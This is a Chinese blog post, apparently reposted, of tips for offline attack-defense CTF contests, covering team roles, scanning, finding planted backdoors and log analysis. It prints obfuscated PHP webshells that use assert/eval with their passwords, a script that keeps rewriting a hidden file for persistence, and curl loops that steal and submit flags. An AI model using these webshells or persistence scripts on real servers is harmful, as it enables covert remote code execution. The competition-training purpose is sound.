ctf tips.php,CTF线下攻防赛总结

原标题:CTF线下攻防赛总结

86957414c3be762af7ecc0a865357f11.gif

网安中国行已经举行了两站了,现将这一份总结科普给大家,为后面参加网安中国行的伙伴们提供点经验!

b83bb6a9412d016c4150ec05fd71fa57.png

6ca35adfadf1b743c76266cbd7b4cd38.png

SSH登陆

两三个人进行分工,一个粗略的看下web,有登陆口的话,就需要修改密码,将情况反馈给队友,让登陆ssh的小伙伴进行密码的修改,改成炒鸡复杂、然后将Web目录下载下来,上WAF、文件监控、端口扫描。将这几个工作分工好,顺序就像图上。

tips:将下载下来的Web目录理一遍,看是否有可疑的文件夹,比如bak。

依然记得有次比赛,有两台靶机,赛组提示弱口令。然后每一支队伍都奔着后台去了,结果有队伍在Web目录下发现了这个bak目录,打开发现是phpmyadmin,提示的弱口令是在这里用上。

b23f50fcf1ffb19ec77a1ac0a028b213.png

网络拓扑

首先先理清好网络拓扑关系,节点与各链路之间的关联。这个需要下一步配合,要不然不知道对手在哪就GG。

示例:

f4127c82d258c181017eefbf6f24e735.png

8b463aaeec992bf83b4df8c7c42f87a9.png

主机发现

如果是在同个C段,或者B段,均可以使用RouterScan进行对80端口扫描进行扫描得出,嫌麻烦的话,就用httpscan(https://github.com/zer0h/httpscan)这个小巧的脚本。

千万要记得扫端口,这很重要。用nmap也行,自己写的脚本或者网上找的也行。

7785512d4296048caa523f857136bea3.png

预留后门

有的比赛环境,为了照顾比较菜的选手(此处举手),预留了一句话后门。将整个web目录下载到本地,使用hm.exe、D盾或者别的扫描工具可以扫描得出(如果预留)

beab5961fbff56e5e0181779f75e4708.png

黑盒测试

f07dbb52dc4c62bc4278b4578ac3ce5e.png

防御及修复建议

1.将所有的登陆口密码进行修改(炒鸡复杂);

2.将上传页面的action地址修改为*,(机智小能手!!);

3.反序列化和命令执行,就去seebug或其他的站点找补丁;

4.待补充…(大家可文末留言补充)

d758aa9714318841d6d5854726afde64.png

一句话

控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。

简单举例:

连接方式:php?2=assert密码是1。

献上我常用得一句话

$a=chr(96^5);

$b=chr(57^79);

$c=chr(15^110);

$d=chr(58^86);

$e='($_REQUEST[C])';

@assert($a.$b.$c.$d.$e);

?>

配置为?b=))99(rhC(tseuqeR+lave

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}

?>

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=

连接密码:0(零)

c0d95cc0565abb3b43f86c32dc5c719d.png

权限维持

set_time_limit(0);

ignore_user_abort(true);

$file = '.demo.php';

$shell = "<?php phpinfo();?>";

while(true){

file_put_contents($file, $shell);

system('chmod 777 .demo.php');

usleep(50);

}

?>

tips:.demo.php前面使用一个点,能很好的隐藏文件。

想要结束这个进程,除了最暴力的重启服务之外,更为优雅的如下:

while (1) {

$pid=1234;

@unlink('demo.php');

exec('kill -9 $pid');

}

?>

先查看进程,查看对应的pid,再执行即可。

7cb8b564d142095e2166670d4b863f84.png

flag获取

上面的$shell内容看个人,线下赛可以直接使用<?php echo system("curl 10.0.0.2"); ?>之类的,只是说一个点,剩余的发挥空间由你们思考。

最好能写一个批量上传的,结合批量访问。批量访问参考PHP-定时任务(http://rcoil.me/2017/05/PHP-%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1/)

或者

#!/bin/bash

while true

do

flag=$(curl 'http://172.16.4.42:800')

curl --cookie "PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD" --data "key="${flag} "http://172.16.4.42/index.php/wargame/submit"

sleep 1s

done

只有想不到,没有做不到。

ac47f62f83bd235c6a5d7601766c5bf5.png

日志分析

日志分析的用途

1.感知可能正在发生的攻击,从而规避存在的安全风险

2.应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失

记录log脚本

这种脚本网上有很多。

date_default_timezone_set('Asia/Shanghai');

$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip

$filename = $_SERVER['PHP_SELF'];//访问者要访问的文件名

$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数

$time = date('Y-m-d H:i:s',time()); //访问时间

$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."rn";

// log记录

$fh = fopen("log.txt", "a");

fwrite($fh, $logadd);

fclose($fh);

?>

日志分析工具

1.LogForensics 腾讯实验室

https://security.tencent.com/index.php/opensource/detail/15

2.北风飘然@金乌网络安全实验室

http://www.freebuf.com/sectool/126698.html

3.网络ID为piaox的安全从业人员:

http://www.freebuf.com/sectool/110644.html

4.网络ID:SecSky

http://www.freebuf.com/sectool/8982.html

5.网络ID:鬼魅羊羔

http://www.freebuf.com/articles/web/96675.html

8905e1a95ca714868e3904c18ec28980.png

CTF总结

意义所在

首先,CTF题是信息安全得基本概念,攻防技术、技巧得浓缩和提炼。通过解题,会快速掌握题目中所包含得概念和技术点,而这些知识在真实得环境中可能比较分散,难以学习,高水平得CTF都是由业内专家命题,往往凝聚着他们多年积累出来的技能。

其次,CTF题注重实际操作,并与基础理论知识相结合。每道CTF都需要实际动手才能找到答案,并且在比赛中经常要拼速度,这对攻防操作得能力会有极高的锻炼。除此之外,高质量得CTF题都没法直接使用现成工具解出,一般需要在理解基本原理的基础上,自己编写代码来求解,这个过程会加深和巩固计算机基础知识得理解。

最后,CTF能够给不能层次的人在技术上带来提高。没有网络信息安全基础的学生通过CTF,建立了安全攻防的概念;有初步基础的学生,通过高质量赛题的实践练习,提升了实战能力;已经学有所成的学生,通过国际CTF大赛和国际强队比拼,开阔了视野。

不要为CTF而CTF

虽然ctf涉及到的知识点面非常的全面。但是在实际应用中,在自己所选择的方向上给予不了多大的帮助。

只因为CTF环境太过于理想化(当然是我水平问题,做不来大的CTF赛题),因为总有方法可以拿到flag,在实操上,遇到瓶颈,要考虑的东西就多

本文转自:http://rcoil.me/

别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com;

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

31643e9c87a3b682c5565f018e7851fe.png

合天智汇

网址 :www.heetian.com

电话:4006-123-731

责任编辑:

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值